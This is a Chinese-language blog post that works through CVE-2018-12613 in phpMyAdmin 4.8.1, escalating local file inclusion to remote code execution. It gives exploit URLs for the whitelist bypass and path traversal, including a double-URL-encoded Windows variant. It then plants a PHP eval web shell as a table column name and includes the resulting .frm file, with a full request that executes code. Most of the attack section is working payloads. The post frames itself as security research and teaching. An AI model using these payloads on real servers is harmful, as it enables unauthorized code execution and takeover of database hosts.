title

CVE-2018-12613 phpMyAdmin 4.8.1 LFI to RCE

文章开头首先感谢vulnspy,大佬带小菜鸡飞!

waring

本文提供思路和方法可能带有攻击性,仅供安全研究与教学之用,风险自负!

vulnerable version

phpMyAdmin <= 4.8.1

vulnerable code

phpMyAdmin-4.8.1-all-languages

environment

macOS

vulnerable code

phpMyAdmin-4.8.1-all-languages/index.php

imgs

看见include第一反应是不是应该想到LFI(文件包含),需满足一下条件

 1.不在$target_blacklist中.(import.php、export.php)

 2.满足Core::checkPageValidity

跟进checkPageValidity

imgs

看逻辑实际只需要拼接target = 白名单中的文件?../../即可满足白名单的判断
所以poc构造(这里随便使用一个名单中的文件, db_datadict.php)

index.php?target=db_datadict.php%3f/../../../../../

tips
  在php中,超全局变量 $_GET,$_POST,$_REQUEST
会自动调用urldecode

在windows中,db_datadict.php?/../../会被视为非法路径

所以可以对?进行两次url编码%253f 

而db_datadict.php%3f/../../在windows中是合法的

所以windows总的poc
index.php?target=db_datadict.php%253f/../../../../

详见手册中对urldecode的描述
文件包含的分析到此结束

LFI TO RCE

在数据库中创建表,写入一句话或其他代码为字段名

CREATE TABLE `test`.`test1` 
( `<? php @eval($_GET['testforfun']); ?>` INT NOT NULL )
ENGINE = InnoDB

查到数据库绝对路径,文件包含(这里我发现我的mysql路径不可读,为了复现 强行777)

show global variables like "%datadir%";

例如我的路径/usr/local/mysql/data/

之后拼接数据名+表名.frm

例如我创建的数据名为test,表名为test2.frm

所以绝对路径/usr/local/mysql/data/test/test2.frm
imgs

cat /usr/local/mysql/data/test/test2.frm 如下图所示

所以构造我的poc如下:

http://localhost/phpMyAdmin-4.8.1-all-languages/index.php?testforfun=phpinfo();&target=db_datadict.php%3f/../../../../../../usr/local/mysql/data/test/test2.frm
imgs

think

学无止境

reference

vulnspy-phpMyAdmin 4.8.x 本地文件包含漏洞利用

发表回复

您的电子邮箱地址不会被公开。